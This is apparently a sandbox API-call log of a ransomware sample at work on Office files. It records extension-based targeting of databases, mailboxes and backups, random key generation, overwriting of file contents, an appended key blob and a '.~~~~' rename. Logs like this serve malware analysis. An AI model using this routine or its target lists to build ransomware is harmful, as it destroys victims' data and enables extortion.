	[0140.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".ost") returned 0x0
	[0140.593] lstrlenW (lpString=".txt") returned 4
	[0140.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".txt") returned 0x0
	[0140.593] lstrlenW (lpString=".mdt") returned 4
	[0140.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".mdt") returned 0x0
	[0140.594] lstrlenW (lpString=".BDB") returned 4
	[0140.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".BDB") returned 0x0
	[0140.594] lstrlenW (lpString=".eql") returned 4
	[0140.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".eql") returned 0x0
	[0140.594] lstrlenW (lpString=".DBF") returned 4
	[0140.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".DBF") returned 0x0
	[0140.594] lstrlenW (lpString=".EQL") returned 4
	[0140.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".EQL") returned 0x0
	[0140.594] lstrlenW (lpString=".FDB") returned 4
	[0140.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".FDB") returned 0x0
	[0140.594] lstrlenW (lpString=".EDB") returned 4
	[0140.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".EDB") returned 0x0
	[0140.594] lstrlenW (lpString=".DACPAC") returned 7
	[0140.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.594] lstrlenW (lpString=".VHD") returned 4
	[0140.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".VHD") returned 0x0
	[0140.594] lstrlenW (lpString=".DBV") returned 4
	[0140.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".DBV") returned 0x0
	[0140.594] lstrlenW (lpString=".dacpac") returned 7
	[0140.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".dacpac") returned 0x0
	[0140.594] lstrlenW (lpString=".sdf") returned 4
	[0140.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".sdf") returned 0x0
	[0140.594] lstrlenW (lpString=".accdb") returned 6
	[0140.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".accdb") returned 0x0
	[0140.595] lstrlenW (lpString=".DBX") returned 4
	[0140.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".DBX") returned 0x0
	[0140.595] lstrlenW (lpString=".MDT") returned 4
	[0140.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".MDT") returned 0x0
	[0140.595] lstrlenW (lpString=".SQB") returned 4
	[0140.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".SQB") returned 0x0
	[0140.595] lstrlenW (lpString=".vhd") returned 4
	[0140.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".vhd") returned 0x0
	[0140.595] lstrlenW (lpString=".bac") returned 4
	[0140.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".bac") returned 0x0
	[0140.595] lstrlenW (lpString=".mdf") returned 4
	[0140.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".mdf") returned 0x0
	[0140.595] lstrlenW (lpString=".BAK") returned 4
	[0140.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".BAK") returned 0x0
	[0140.595] lstrlenW (lpString=".BAC") returned 4
	[0140.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".BAC") returned 0x0
	[0140.595] lstrlenW (lpString=".dbs") returned 4
	[0140.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".dbs") returned 0x0
	[0140.595] lstrlenW (lpString=".vhdx") returned 5
	[0140.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".vhdx") returned 0x0
	[0140.595] lstrlenW (lpString=".NDF") returned 4
	[0140.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".NDF") returned 0x0
	[0140.596] lstrlenW (lpString=".dat") returned 4
	[0140.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".dat") returned 0x0
	[0140.596] lstrlenW (lpString=".DBS") returned 4
	[0140.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".DBS") returned 0x0
	[0140.596] lstrlenW (lpString=".CKP") returned 4
	[0140.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".CKP") returned 0x0
	[0140.596] lstrlenW (lpString=".edb") returned 4
	[0140.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".edb") returned 0x0
	[0140.596] lstrlenW (lpString=".PST") returned 4
	[0140.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".PST") returned 0x0
	[0140.596] lstrlenW (lpString=".dbf") returned 4
	[0140.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".dbf") returned 0x0
	[0140.596] lstrlenW (lpString=".SQL") returned 4
	[0140.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".SQL") returned 0x0
	[0140.596] lstrlenW (lpString=".pst") returned 4
	[0140.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".pst") returned 0x0
	[0140.596] lstrlenW (lpString=".dbv") returned 4
	[0140.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".dbv") returned 0x0
	[0140.596] lstrlenW (lpString=".SDF") returned 4
	[0140.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".SDF") returned 0x0
	[0140.596] lstrlenW (lpString=".dtxs") returned 5
	[0140.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".dtxs") returned 0x0
	[0140.596] lstrlenW (lpString=".db3") returned 4
	[0140.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".db3") returned 0x0
	[0140.597] lstrlenW (lpString=".OST") returned 4
	[0140.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".OST") returned 0x0
	[0140.597] lstrlenW (lpString=".dbx") returned 4
	[0140.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".dbx") returned 0x0
	[0140.597] lstrlenW (lpString=".DB3") returned 4
	[0140.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".DB3") returned 0x0
	[0140.597] lstrlenW (lpString=".DAT") returned 4
	[0140.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".DAT") returned 0x0
	[0140.597] lstrlenW (lpString=".VHDX") returned 5
	[0140.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".VHDX") returned 0x0
	[0140.597] lstrlenW (lpString=".ndf") returned 4
	[0140.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".ndf") returned 0x0
	[0140.597] lstrlenW (lpString=".DB") returned 3
	[0140.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".DB") returned 0x0
	[0140.597] lstrlenW (lpString=".sql") returned 4
	[0140.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".sql") returned 0x0
	[0140.597] lstrlenW (lpString=".MYD") returned 4
	[0140.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".MYD") returned 0x0
	[0140.597] lstrlenW (lpString=".DBT") returned 4
	[0140.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".DBT") returned 0x0
	[0140.597] lstrlenW (lpString=".ACCDB") returned 6
	[0140.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.597] lstrlenW (lpString=".fdb") returned 4
	[0140.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".fdb") returned 0x0
	[0140.598] lstrlenW (lpString=".bak") returned 4
	[0140.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".bak") returned 0x0
	[0140.598] lstrlenW (lpString=".myd") returned 4
	[0140.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".myd") returned 0x0
	[0140.598] lstrlenW (lpString=".DTXS") returned 5
	[0140.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".DTXS") returned 0x0
	[0140.598] lstrlenW (lpString=".ckp") returned 4
	[0140.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".ckp") returned 0x0
	[0140.598] lstrlenW (lpString=".dbt") returned 4
	[0140.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".dbt") returned 0x0
	[0140.598] lstrlenW (lpString=".db") returned 3
	[0140.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".db") returned 0x0
	[0140.598] lstrlenW (lpString=".TXT") returned 4
	[0140.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".TXT") returned 0x0
	[0140.598] lstrlenW (lpString=".MDF") returned 4
	[0140.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".MDF") returned 0x0
	[0140.598] lstrlenW (lpString=".bdb") returned 4
	[0140.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".bdb") returned 0x0
	[0140.598] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0140.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.599] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0140.600] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.600] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0140.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0140.600] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26059060841) returned 1
	[0140.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbd3623d0, dwHighDateTime=0x1d60e1e)) 
	[0140.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0140.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0140.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0140.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d260
	[0140.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d260 | out: hHeap=0x300000) returned 1
	[0140.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4b98
	[0140.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0140.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4b98 | out: hHeap=0x300000) returned 1
	[0140.601] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0140.602] GetLastError () returned 0x0
	[0140.602] GetLastError () returned 0x0
	[0140.602] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0140.602] GetLastError () returned 0x0
	[0140.602] GetLastError () returned 0x0
	[0140.602] ReadFile (in: hFile=0x108, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x684, lpOverlapped=0x0) returned 1
	[0140.651] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffff97c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.651] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x684, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x684, lpOverlapped=0x0) returned 1
	[0140.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0140.651] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.651] WriteFile (in: hFile=0x108, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.651] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.651] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.651] CloseHandle (hObject=0x108) returned 1
	[0140.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ceab8
	[0140.709] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir28b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir28b.gif.~~~~")) returned 1
	[0140.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ceab8 | out: hHeap=0x300000) returned 1
	[0140.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0140.712] GetLastError () returned 0x0
	[0140.712] RtlWakeConditionVariable () returned 0x0
	[0140.713] GetCurrentThreadId () returned 0x3a4
	[0140.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".scr") returned 0x0
	[0140.713] lstrlenW (lpString=".cmd") returned 4
	[0140.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".cmd") returned 0x0
	[0140.713] lstrlenW (lpString=".dll") returned 4
	[0140.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".dll") returned 0x0
	[0140.713] lstrlenW (lpString=".bat") returned 4
	[0140.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".bat") returned 0x0
	[0140.713] lstrlenW (lpString=".cpl") returned 4
	[0140.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".cpl") returned 0x0
	[0140.713] lstrlenW (lpString=".sys") returned 4
	[0140.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".sys") returned 0x0
	[0140.713] lstrlenW (lpString=".msc") returned 4
	[0140.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".msc") returned 0x0
	[0140.713] lstrlenW (lpString=".com") returned 4
	[0140.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".com") returned 0x0
	[0140.713] lstrlenW (lpString=".lnk") returned 4
	[0140.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".lnk") returned 0x0
	[0140.713] lstrlenW (lpString=".msp") returned 4
	[0140.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".msp") returned 0x0
	[0140.714] lstrlenW (lpString=".pif") returned 4
	[0140.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".pif") returned 0x0
	[0140.714] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0140.716] lstrlenW (lpString=".sqb") returned 4
	[0140.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".sqb") returned 0x0
	[0140.716] lstrlenW (lpString=".ost") returned 4
	[0140.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".ost") returned 0x0
	[0140.716] lstrlenW (lpString=".txt") returned 4
	[0140.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".txt") returned 0x0
	[0140.716] lstrlenW (lpString=".mdt") returned 4
	[0140.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".mdt") returned 0x0
	[0140.716] lstrlenW (lpString=".BDB") returned 4
	[0140.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".BDB") returned 0x0
	[0140.716] lstrlenW (lpString=".eql") returned 4
	[0140.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".eql") returned 0x0
	[0140.716] lstrlenW (lpString=".DBF") returned 4
	[0140.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".DBF") returned 0x0
	[0140.716] lstrlenW (lpString=".EQL") returned 4
	[0140.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".EQL") returned 0x0
	[0140.717] lstrlenW (lpString=".FDB") returned 4
	[0140.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".FDB") returned 0x0
	[0140.717] lstrlenW (lpString=".EDB") returned 4
	[0140.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".EDB") returned 0x0
	[0140.717] lstrlenW (lpString=".DACPAC") returned 7
	[0140.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.717] lstrlenW (lpString=".VHD") returned 4
	[0140.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".VHD") returned 0x0
	[0140.717] lstrlenW (lpString=".DBV") returned 4
	[0140.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".DBV") returned 0x0
	[0140.717] lstrlenW (lpString=".dacpac") returned 7
	[0140.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".dacpac") returned 0x0
	[0140.717] lstrlenW (lpString=".sdf") returned 4
	[0140.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".sdf") returned 0x0
	[0140.717] lstrlenW (lpString=".accdb") returned 6
	[0140.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".accdb") returned 0x0
	[0140.717] lstrlenW (lpString=".DBX") returned 4
	[0140.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".DBX") returned 0x0
	[0140.717] lstrlenW (lpString=".MDT") returned 4
	[0140.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".MDT") returned 0x0
	[0140.717] lstrlenW (lpString=".SQB") returned 4
	[0140.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".SQB") returned 0x0
	[0140.718] lstrlenW (lpString=".vhd") returned 4
	[0140.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".vhd") returned 0x0
	[0140.718] lstrlenW (lpString=".bac") returned 4
	[0140.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".bac") returned 0x0
	[0140.718] lstrlenW (lpString=".mdf") returned 4
	[0140.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", lpSrch=".mdf") returned 0x0
